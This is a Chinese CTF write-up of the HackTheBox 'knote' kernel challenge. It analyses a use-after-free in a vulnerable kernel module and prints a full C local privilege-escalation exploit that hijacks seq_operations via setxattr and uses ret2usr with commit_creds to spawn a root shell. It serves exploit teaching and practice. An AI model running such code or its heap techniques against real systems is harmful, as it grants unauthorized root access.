HackTheBox_knote

news2025/11/1 1:24:04

前言

最近打算刷一些内核利用的 CTF 的题目~~~

题目分析

  • 内核版本：v5.8.3，但是没有开启 cg 隔离
  • smap/smep/kpti/kaslr 全关，可以 ret2usr，所以应该是比较老的题目了（：这里很奇怪的是就算设置 kaslr 但是也无法开启
  • 然后 CONFIG_SLAB_FREELIST_RANDOM 和 CONFIG_SLAB_FREELIST_HARDENED 都没有开启（：这里利用工具查出来 CONFIG_SLAB_FREELIST_RANDOM 是开启的，但是调试可以知道其没有开启

题目给了源码：

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/device.h>
#include <linux/mutex.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "knote"
#define CLASS_NAME "knote"

MODULE_AUTHOR("r4j");
MODULE_DESCRIPTION("Secure your secrets in the kernelspace");
MODULE_LICENSE("GPL");

static DEFINE_MUTEX(knote_ioctl_lock);
static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg);

static int major;
static struct class *knote_class  = NULL;
static struct device *knote_device = NULL;
static struct file_operations knote_fops = {
    .unlocked_ioctl = knote_ioctl
};

struct knote {
    char *data;
    size_t len;
    void (*encrypt_func)(char *, size_t);
    void (*decrypt_func)(char *, size_t);
};

struct knote_user {
    unsigned long idx;
    char * data;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

struct knote *knotes[10];

void knote_encrypt(char * data, size_t len) {
    int i;
    for(i = 0; i < len; ++i)
        data[i] ^= 0xaa;
}

void knote_decrypt(char *data, size_t len) {
    knote_encrypt(data, len);
}

static long knote_ioctl(struct file *file, unsigned int cmd, unsigned long arg) {
    mutex_lock(&knote_ioctl_lock);
    struct knote_user ku;
    if(copy_from_user(&ku, (void *)arg, sizeof(struct knote_user)))
        return -EFAULT;
    switch(cmd) {
        case KNOTE_CREATE:
			// len [0, 0x20]
			// idx [0, 0x10)
            if(ku.len > 0x20 || ku.idx >= 10)
                return -EINVAL;
            char *data = kmalloc(ku.len, GFP_KERNEL);
            knotes[ku.idx] = kmalloc(sizeof(struct knote), GFP_KERNEL);
            if(data == NULL || knotes[ku.idx] == NULL) {
                mutex_unlock(&knote_ioctl_lock);
                return -ENOMEM;
            }

            knotes[ku.idx]->data = data;
            knotes[ku.idx]->len = ku.len;
            if(copy_from_user(knotes[ku.idx]->data, ku.data, ku.len)) {
                kfree(knotes[ku.idx]->data);
                kfree(knotes[ku.idx]); // 没有清空 knotes[ku.idx]
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            knotes[ku.idx]->encrypt_func = knote_encrypt;
            knotes[ku.idx]->decrypt_func = knote_decrypt;
            break;
        case KNOTE_DELETE:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            kfree(knotes[ku.idx]->data);
            kfree(knotes[ku.idx]);
            knotes[ku.idx] = NULL;
            break;
        case KNOTE_READ:
            if(ku.idx >= 10 || !knotes[ku.idx] || ku.len > knotes[ku.idx]->len) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            if(copy_to_user(ku.data, knotes[ku.idx]->data, ku.len)) {
                mutex_unlock(&knote_ioctl_lock);
                return -EFAULT;
            }
            break;
        case KNOTE_ENCRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->encrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
         case KNOTE_DECRYPT:
            if(ku.idx >= 10 || !knotes[ku.idx]) {
                mutex_unlock(&knote_ioctl_lock);
                return -EINVAL;
            }
            knotes[ku.idx]->decrypt_func(knotes[ku.idx]->data, knotes[ku.idx]->len);
            break;
        default:
            mutex_unlock(&knote_ioctl_lock);
            return -EINVAL;
    }
    mutex_unlock(&knote_ioctl_lock);
    return 0;
}

static int __init init_knote(void) {
    major = register_chrdev(0, DEVICE_NAME, &knote_fops);
    if(major < 0)
        return -1;

    knote_class = class_create(THIS_MODULE, CLASS_NAME);
    if (IS_ERR(knote_class)) {
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    knote_device = device_create(knote_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
    if (IS_ERR(knote_device))
    {
        class_destroy(knote_class);
        unregister_chrdev(major, DEVICE_NAME);
        return -1;
    }

    return 0;
}

static void __exit exit_knote(void)
{
    device_destroy(knote_class, MKDEV(major, 0));
    class_unregister(knote_class);
    class_destroy(knote_class);
    unregister_chrdev(major, DEVICE_NAME);
}

module_init(init_knote);
module_exit(exit_knote);

题目实现了一个菜单堆，具体增删查的功能，然后还有两个加解密功能，堆块大小限制为 [0, 0x20]，然后最多同时创建 10 个 note，维护的结构体如下：
在这里插入图片描述
主要的漏洞点在于在创建 note 时，如果赋值用户态数据失败则释放掉已经分配的堆块，但是这里没有将 knotes[ku.idx] 置 NULL，从而导致 UAF/Double Free

漏洞利用

这里没有给写的功能，所以得想办法写入，然后这里先假设有 smap/smep/kaslr/pti 等保护应该如何利用（：其实这里存在 0x20 大小的 double free，所以可以利用之前笔者总结的 DCO 方式进行利用，这里不过多说明，具体参考笔者之前的文章

然后笔者最开始想的是利用 user_key_payload + setxattr 实现越界读，但是似乎 add_key 用不了（：应该没编译相关模块

然后回到题目中保护全关的情况下，注意题目中 note 结构体的大小也是 0x20，所以构造循环 freelist：

  • 先分配一个 note 0，data 大小也为 0x20，这里使得复制数据失败，从而释放相关堆块（：这里调试可以知道 next 指针存放在 0x10 位置
    在这里插入图片描述
  • 然后在释放 note0，此时构成循环 freelist
    在这里插入图片描述
  • 此时分配 seq_operations 占据堆块
    在这里插入图片描述
  • 然后在利用 setxattr 修改 seq_operations 的 start 指针从而实现 ret2usr

exp 如下：

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/xattr.h>


void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(2);
        exit(EXIT_FAILURE);
    }
    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");
    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

struct knote {
    unsigned long idx;
    char * buf;
    size_t len;
};

enum knote_ioctl_cmd {
    KNOTE_CREATE = 0x1337,
    KNOTE_DELETE = 0x1338,
    KNOTE_READ = 0x1339,
    KNOTE_ENCRYPT = 0x133a,
    KNOTE_DECRYPT = 0x133b
};

int fd;
void add(uint64_t idx, void* buf, size_t len) {
        struct knote n = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, KNOTE_CREATE, &n);
}

void del(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

void show(size_t idx, void* buf, size_t len) {
        struct knote n = { .idx = idx, .buf = buf, .len = len };
        ioctl(fd, KNOTE_READ, &n);
}

void enc(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

void dec(size_t idx) {
        struct knote n = { .idx = idx };
        ioctl(fd, KNOTE_DELETE, &n);
}

static size_t prepare_kernel_cred = 0xffffffff81053c50;
static size_t commit_creds = 0xffffffff81053a30;
static size_t shell = (size_t)get_root_shell;
void get_root_privilige()
{
        asm volatile (
        "mov rdi, 0;"
        "mov r14, prepare_kernel_cred;"
        "call r14;"
        "mov rdi, rax;"
        "mov r14, commit_creds;"
        "call r14;"
        "swapgs;"
        "mov r14, user_ss;"
        "push r14;"
        "mov r14, user_sp;"
        "push r14;"
        "mov r14, user_rflags;"
        "push r14;"
        "mov r14, user_cs;"
        "push r14;"
        "mov r14, shell;"
        "push r14;"
        "iretq;"
        );
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        save_status();
        int res;
        int seq_fd;
        int key_id;
        int fds[20];
        char buf[0x20];
        memset(buf, 'A', sizeof(buf));
        fd = open("/dev/knote", O_RDONLY);
        if (fd < 0) err_exit("open /dev/knote");

        for (int i = 0; i < 20; i++) {
                fds[i] = open("/proc/self/stat", O_RDONLY);
        }

        add(0, (void*)0xdeadbeef, 0x20);
        del(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        if (seq_fd < 0) err_exit("open seq file");
        open("/proc/self/stat", O_RDONLY);

        size_t evil[4] = { (size_t)get_root_privilige, 0xffffffff810f1800, 0xffffffff810f17f0, 0xffffffff811082e0 };
        setxattr("./", "Pwner", evil, 0x20, 0);

        for (int i = 0; i < 20; i++) {
                close(fds[i]);
        }

        read(seq_fd, buf, 1);
        return 0;
}

效果如下：
在这里插入图片描述
题目如果开启了 smap/smep 可以考虑打 pt_regs 。然后这里还可以通过劫持 encrypt_func/decrypt_func 指针去控制程序执行流。

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eNSP-动态路由（ospf协议）

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一、拓扑结构搭建 二、主机配置 pc1 pc2 三、路由器配置 1.AR2配置 <Huawei>sys #进入系统视图 [Huawei]int g0/0/0 #进入接口 [Huawei-GigabitEthernet0/0/0]ip address 192.168.0.2 24 #设置ip地址 [Huawei-GigabitEthernet0/0/0]q #返回上一级 [Huawei]int g0/0/1 …
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Unity 性能优化之数据面板（Statistics）（一）

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